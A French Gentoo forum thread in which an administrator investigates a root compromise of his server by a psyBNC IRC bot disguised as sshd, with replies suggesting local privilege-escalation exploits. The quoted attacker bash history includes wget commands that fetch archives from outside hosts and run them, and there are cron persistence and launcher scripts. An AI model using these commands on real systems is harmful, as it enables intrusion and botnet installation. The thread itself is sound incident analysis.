Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
[rootkit] comment retrouver la porte d'entrée ? (résolu)
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index French
View previous topic :: View next topic  
Author Message
digimag
Guru
Guru


Joined: 14 May 2005
Posts: 451
Location: Toulouse, France

PostPosted: Sun Feb 12, 2012 12:06 am    Post subject: [rootkit] comment retrouver la porte d'entrée ? (résolu) Reply with quote

Bonjour,

Cela m'est finalement arrivé, le serveur est infecté. J'ai vu un processus qui consommait 100 % du CPU dans top :

Code:
PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
29352 root      20   0 32472 4192 1544 R 98.8  0.2  38792:57 perl


Et dans ps aux :

Code:
root     29347  0.0  0.0    828   548 ?        S    Jan13   0:29 -bash
root     29352 90.8  0.2  32472  4192 ?        R    Jan13 38754:57 /usr/sbin/sshd


J'ai fait exécuter rkhunter qui m'a signalé le dossier /var/tmp/.log comme étant potentiellement suspect.

Déjà, le contenu du dossier /var/tmp/.log ne laissait aucun doute, il y avait plein de scripts, c'était visiblement un bot IRC.

J'ai fait un scan avec maldetect sur le dossier, et voici sa réponse :


Code:
PATH: /var/tmp/.log/
TOTAL FILES: 327
TOTAL HITS: 1
TOTAL CLEANED: 0

NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 021112-2350.13461
FILE HIT LIST:
{HEX}perl.ircbot.Arabhack.55 : /var/tmp/.log/target


Début du fichier target :

Code:
!/usr/bin/perl
# this spreader is coded by xdh
# xdh@xxxxxxxxxxx
# only for testing...

my @nickname = ("PSY",
        "PSY");

my $nick = $nickname[rand scalar @nickname];

my $ircname = $nickname[rand scalar @nickname];


#system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`");
my $processo = '/usr/sbin/sshd';


Il y avait aussi une tâche cron ajoutée au système :

Code:
* * * * * /var/tmp/.log/update >/dev/null 2>&1


Code:
# cat tmp/.log/update
#!/bin/sh
if test -r /var/tmp/.log/psybnc.pid; then
pid=$(cat /var/tmp/.log/psybnc.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /var/tmp/.log
rm -rf target
./run &>/dev/null
# cat tmp/.log/run
#!/bin/sh
export PATH=.
-bash


Et -bash est un binaire, je ne sais ce qu'il fait. Par contre son MD5 est d7cb8d530dd813f34bdcf1b6c485589b qui correspond au binaire psybnc.

psybnc.conf :

Code:
PSYBNC.SYSTEM.PORT1=3303
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=Bomfunk
USER1.USER.USER=danieL
USER1.USER.PASS==0M0o'=0I1z1u`x`V1H

USER1.USER.AWAYNICK=SoLdieR
USER1.USER.AWAY=^C2 ain`t no sunhine
USER1.USER.NICK=SoLdieR
USER1.SERVERS.SERVER1=tampa.fl.us.undernet.org
USER1.SERVERS.PORT1=6667
USER1.CHANNELS.ENTRY0=#Dersca


Mais la question que je me pose, c'est comment le script a-t-il été installé ? Je ne vois rien de spécial dans les logs nginx, pas de requêtes suspectes le 13 janvier.

Aussi, le fait que tous les fichiers soient installés sous le compte root est très troublant.

Ah ! Je vois dans bash_history :

Code:
w
cat /proc/cpuinfo
wget
ps x
cd /tmp
wget http://kanada.co/bnc.tgz ; tar zxvf bnc.tgz ; cd .font-unix ; chmod +x * ; ./go
cd /var/tmp
tar zxvf bnc.tgz
tar zxvf bnc.tar
wget http://www.grigoreworld.com/marius/bnc.jpg
tar zxvf bnc.jpg
rm -rf bnc.jpg
cd .log
./go
passwd
ps x


La p***… Il y avait bien quelqu'un qui s'est connecté sous le compte root !! Mais comment ?!

Je découvre la présence d'un autre fichier, /var/tmp/kanada.tar, qui contient également le bot IRC, daté du 3 janvier !

Hors mes logs auth.log ne remontent pas plus loin que le 8 janvier… quel dommage ! (je me demande s'ils n'ont pas été supprimés)

Et voici les IP des connexions qui ne m'appartiennent pas :
Code:

Jan 11 02:22:15 hstler sshd[23510]: Accepted password for root from 46.61.184.118 port 51438 ssh2
Jan 12 06:32:02 hstler sshd[16897]: Accepted password for root from 221.233.196.109 port 49163 ssh2
Jan 13 07:21:28 hstler sshd[28895]: Accepted password for root from 202.153.207.172 port 34876 ssh2
Jan 13 07:26:05 hstler sshd[29042]: Accepted password for root from 78.97.107.233 port 1492 ssh2
Jan 13 07:27:23 hstler sshd[29178]: Accepted password for root from 78.97.107.233 port 1494 ssh2


Pourtant, je m'authentifiais toujours avec avec une clef publique, et il me semble que j'avais supprimé et locké le mot de passe root dès le départ pour empêcher les connexions SSH root par mot de passe. De plus, dans la config SSHD, j'avias interdit les mots de passe vides.
_________________
Sacha


Last edited by digimag on Sun Feb 12, 2012 12:53 pm; edited 1 time in total
Back to top
View user's profile Send private message
digimag
Guru
Guru


Joined: 14 May 2005
Posts: 451
Location: Toulouse, France

PostPosted: Sun Feb 12, 2012 12:25 am    Post subject: Reply with quote

Après l'examen de l'historique bash, j'avais bel et bien effacé et locké le mot de passe root bien avant le 3 janvier.

Et le fichier kanada.tar n'y figure pas, alors qu'il a aussi root pour propriétaire.

Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root…
_________________
Sacha
Back to top
View user's profile Send private message
netfab
Veteran
Veteran


Joined: 03 Mar 2005
Posts: 1699
Location: 127.0.0.1

PostPosted: Sun Feb 12, 2012 8:03 am    Post subject: Reply with quote

digimag wrote:
Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root…


A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne
Back to top
View user's profile Send private message
El_Goretto
Moderator
Moderator


Joined: 29 May 2004
Posts: 3101
Location: Paris

PostPosted: Sun Feb 12, 2012 12:00 pm    Post subject: Reply with quote

netfab wrote:
digimag wrote:
Ce n'était donc probablement pas une connexion ssh réussie par bruteforce. Mais quoi ? Les divers serveurs ne s'exécutent pas en tant que root…


A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne

Yep, ya eu 2 exploits locaux retentissants permettant de passer root, parus le mois dernier: un niveau noyau, et un niveau sudo.
_________________
-Gentoo hardened [EoL]: µ-serv Gen8 G1610T, 8Go ECC ; NF9D-2700, 4Go
-FreeBSD 11/Vimage/Jails: DS61, i3 2100T, 16Go ; FreeNAS: µ-serv N40L, 8Go ECC
-Réseau: ERL-3 + ESL-24 + GS108Tv2
-NAS: RN312
Back to top
View user's profile Send private message
digimag
Guru
Guru


Joined: 14 May 2005
Posts: 451
Location: Toulouse, France

PostPosted: Sun Feb 12, 2012 12:52 pm    Post subject: Reply with quote

El_Goretto wrote:
netfab wrote:
A partir d'une faille quelconque, accès shell utilisateur --> faille kernel qui donne accès root --> changement du mot de passe root --> champagne
Yep, ya eu 2 exploits locaux retentissants permettant de passer root, parus le mois dernier: un niveau noyau, et un niveau sudo.
Ça pouvait être ça alors.

J'ai eu mon baptême de disque dur mort du jour au lendemain il y a six mois, et maintenant une intrusion sous root. Il est temps de réfléchir à nouveau à la sécurité…
_________________
Sacha
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index French All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum